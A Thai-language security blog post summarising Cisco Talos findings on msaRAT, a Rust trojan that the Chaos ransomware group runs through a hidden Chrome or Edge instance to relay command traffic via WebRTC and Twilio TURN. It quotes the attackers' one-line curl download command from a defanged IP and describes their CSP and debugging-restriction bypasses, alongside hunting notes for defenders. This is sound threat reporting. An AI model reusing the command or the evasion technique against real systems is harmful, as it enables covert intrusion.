เมื่อแฮกเกอร์ไม่สร้างช่องทางใหม่ แต่ใช้ Chrome ในเครื่องคุณเป็นสายสืบ: เจาะลึกภัยเงียบ msaRAT

Published:

 

ช่วงนี้กลุ่มแฮกเกอร์แรนซัมแวร์ชื่อดังอย่าง Chaos ได้เริ่มมุกใหม่ ด้วยการแอบใช้เว็บบราวเซอร์ (Chrome และ Edge) ที่มีอยู่ในเครื่องของเหยื่อเองเป็นเส้นทางรับส่งคำสั่งควบคุม (Command-and-Control หรือ C2) โดยทางทีมวิจัย Cisco Talos ได้ออกมาเปิดเผยรายละเอียดของมัลแวร์ตัวใหม่ที่เป็นเบื้องหลังอย่าง msaRAT (มัลแวร์ประเภท Remote Access Trojan เขียนด้วยภาษา Rust) ซึ่งถูกฝังไว้ในเครื่อง Windows ก่อนที่กระบวนการเข้ารหัสลับล็อกไฟล์จะเริ่มขึ้น

ความเนียนระดับเซียน: มัลแวร์ไม่ได้ยิง Outbound เองเลยแม้แต่น้อย

ความน่ากลัวของ msaRAT คือตัวมันเองไม่เคยเปิดการเชื่อมต่อออกนอกเครื่อง (Outbound connection) โดยตรงเลยครับ กระบวนการทั้งหมดในตัวมันจะคุยกับ 127.0.0.1 (Loopback ภายในเครื่อง) เท่านั้น

แล้วมันซ่อนการส่งข้อมูลออกนอกเครื่องได้อย่างไร?

  1. มันจะสั่งเปิด Chrome หรือ Edge ขึ้นมาในโหมด Headless (รันแบบซ่อนหน้าต่าง ไม่แสดง GUI ให้ผู้ใช้เห็น)
  2. มันเข้าควบคุมบราวเซอร์ผ่าน Chrome DevTools Protocol (CDP) ซึ่งเป็น API สำหรับทดสอบและดีแบ๊กบราวเซอร์
  3. ส่งข้อความ C2 ทั้งหมดออกไปยังภายนอกผ่านช่องทาง WebRTC data channel โดยอาศัยบริการ TURN Relay ของ Twilio

ผลลัพธ์ก็คือ ในสายตาของทีมเฝ้าระวังความปลอดภัย (Defenders) หรือ Firewall สิ่งที่เห็นบนเครือข่ายมีเพียง "กระบวนการของบราวเซอร์ปกติกำลังต่อสายไปยัง Cloudflare และ Twilio" เท่านั้น ส่วน IP หรือ Server ของแฮกเกอร์จริงๆ จะไม่ปรากฏบน Network Traffic เลยครับ

เจาะลึกกลไก: ให้ Chrome ออกหน้าแทน

  • การหาบราวเซอร์: msaRAT จะค้นหา Chrome หรือ Edge จาก Environment variables ก่อน ถ้าไม่เจอถึงจะเช็กผ่าน Registry

  • การเลี่ยงมาตรการป้องกัน: ตั้งแต่ Chrome 136 เป็นต้นมา Google ได้บล็อกการใช้สวิตช์ Debugging กับ Profile หลักเพื่อป้องกันไวรัสขโมยคุกกี้ แต่ msaRAT แก้เกมง่ายๆ ด้วยการสั่งเปิดบราวเซอร์พร้อมสร้าง User Data Directory (--user-data-dir) ขึ้นมาใหม่แยกต่างหาก ทำให้ข้ามข้อจำกัดนี้ไปได้สบายๆ

  • การสั่งการยิงสคริปต์: พอมันต่อติดผ่าน WebSocket URL ของ CDP แล้ว มันจะปิด Content Security Policy (Page.setBypassCSP) ลงทะเบียน Callback และฉีดโค้ด JavaScript ที่ฝังอยู่ในไฟล์มัลแวร์เข้าไปในบราวเซอร์
  • การซ่อนเส้นทาง: สคริปต์ JavaScript ดังกล่าวจะดึงค่าคอนฟิก STUN/TURN จาก Cloudflare Worker (ที่มีการปลอมแปลง Header ว่ามาจากเว็บไซต์ของ Microsoft) เพื่อสร้างช่องทาง WebRTC ที่สำคัญคือ ค่าตอบกลับถูกตั้งใจไม่ใส่ ICE Candidates ทำให้เกิดลิงก์ Direct Peer-to-Peer ไม่ได้ ทราฟฟิกทั้งหมดจึงต้องวิ่งผ่าน Relay เซิร์ฟเวอร์ของ Twilio (global.turn.twilio.com) เสมอ
  • การเข้ารหัส 2 ชั้น: ข้อมูลที่วิ่งผ่านช่องทางนี้ถูกเข้ารหัสโดย DTLS ของบราวเซอร์เองชั้นหนึ่ง และซ้อนด้วยอัลกอริทึม ChaCha-Poly1305 ของแฮกเกอร์อีกชั้นหนึ่ง ก่อนจะส่งคำสั่งเข้า cmd.exe เพื่อรันคำสั่งสั่งการในเครื่องเหยื่อ

ด่านแรกยังคงใช้วิธีเดิมๆ

แม้เทคนิคการซ่อนทราฟฟิกจะแพรวพราว แต่เส้นทางขาเข้าเครื่องเหยื่อยังคงเป็นมุกเดิมๆ ครับ กลุ่ม Chaos มักใช้ Spam email, Vishing (โทรหลอกลวง), การใช้ Quick Assist หรือ RMM Tools เพื่อเข้าถึงเครื่อง

ตัว msaRAT จะถูกดาวน์โหลดเข้ามาด้วยคำสั่ง curl สั้นๆ เพียงบรรทัดเดียว:

DOS

curl.exe https://172.86.126[.]18:443/update_ms.msi -o C:\programdata\update_ms.msi

จะสังเกตได้ว่าแฮกเกอร์ใช้พอร์ต 443 แต่ส่งเป็น HTTP ธรรมดา หาก Firewall ขององค์กรตรวจเช็กเฉพาะพอร์ตโดยไม่ได้ตรวจสแกนโปรโตคอลระดับลึก (Protocol Inspection) ไฟล์หลอกลวงที่ปลอมเป็นไฟล์อัปเดต Windows ตัวนี้ก็หลุดเข้ามาได้อย่างง่ายดายครับ

ข้อสังเกตและการตั้งรับสำหรับทีมไอที (Hunting Notes)

เนื่องจาก msaRAT ไม่ได้อาศัยช่องโหว่ (Vulnerability) ของ Chrome หรือ Edge ดังนั้นการอัปเดตบราวเซอร์อย่างเดียวจึงไม่ช่วยแก้ปัญหานี้ครับ

  • เน้นตรวจจับที่พฤติกรรมของ Process (Behavioral Hunting): สิ่งที่น่าสงสัยที่สุดคือ การเห็นกระบวนการ Chrome หรือ Edge ถูกสั่งเปิดใช้งานโดย Service, Installer หรือ Parent Process ที่ไม่ใช่ผู้ใช้ทั่วไป โดยมีพารามิเตอร์อย่าง --headless=new และมีการเปิด --remote-debugging-port
  • การปิดกั้นทำได้ยาก: บริการอย่าง Cloudflare Workers และ Twilio TURN เป็นบริการสาธารณะที่แอปพลิเคชันถูกกฎหมายจำนวนมากใช้อยู่ หากองค์กรสั่งบล็อกสองบริการนี้ทั้งหมด ก็อาจจะกระทบการทำงานปกติของระบบอื่นๆ ได้เช่นกัน

สรุปคือ เทคนิคนี้เป็นการเปลี่ยน "สถานที่ซ่อนตัวของ C2" ไปไว้ในบราวเซอร์แท้ที่น่าเชื่อถือ ซึ่งทีมดูแลระบบคงต้องเริ่มหันมาเฝ้าระวังพฤติกรรมแปลกๆ ในระดับ Endpoint กันให้เข้มงวดมากขึ้นแล้วละครับ

#ดรกฤษฎาแก้ววัดปริง #ไทยสมาร์ทซิตี้ #SmartCity #DRKRIT #สมาร์ทซิตี้คลิก

Tags:

คุณอาจจะชอบ

ดูทั้งหมด
ใหม่กว่า เก่ากว่า
แชร์กับแอปอื่นๆ
คัดลอก ลิงค์ไปยังโพสต์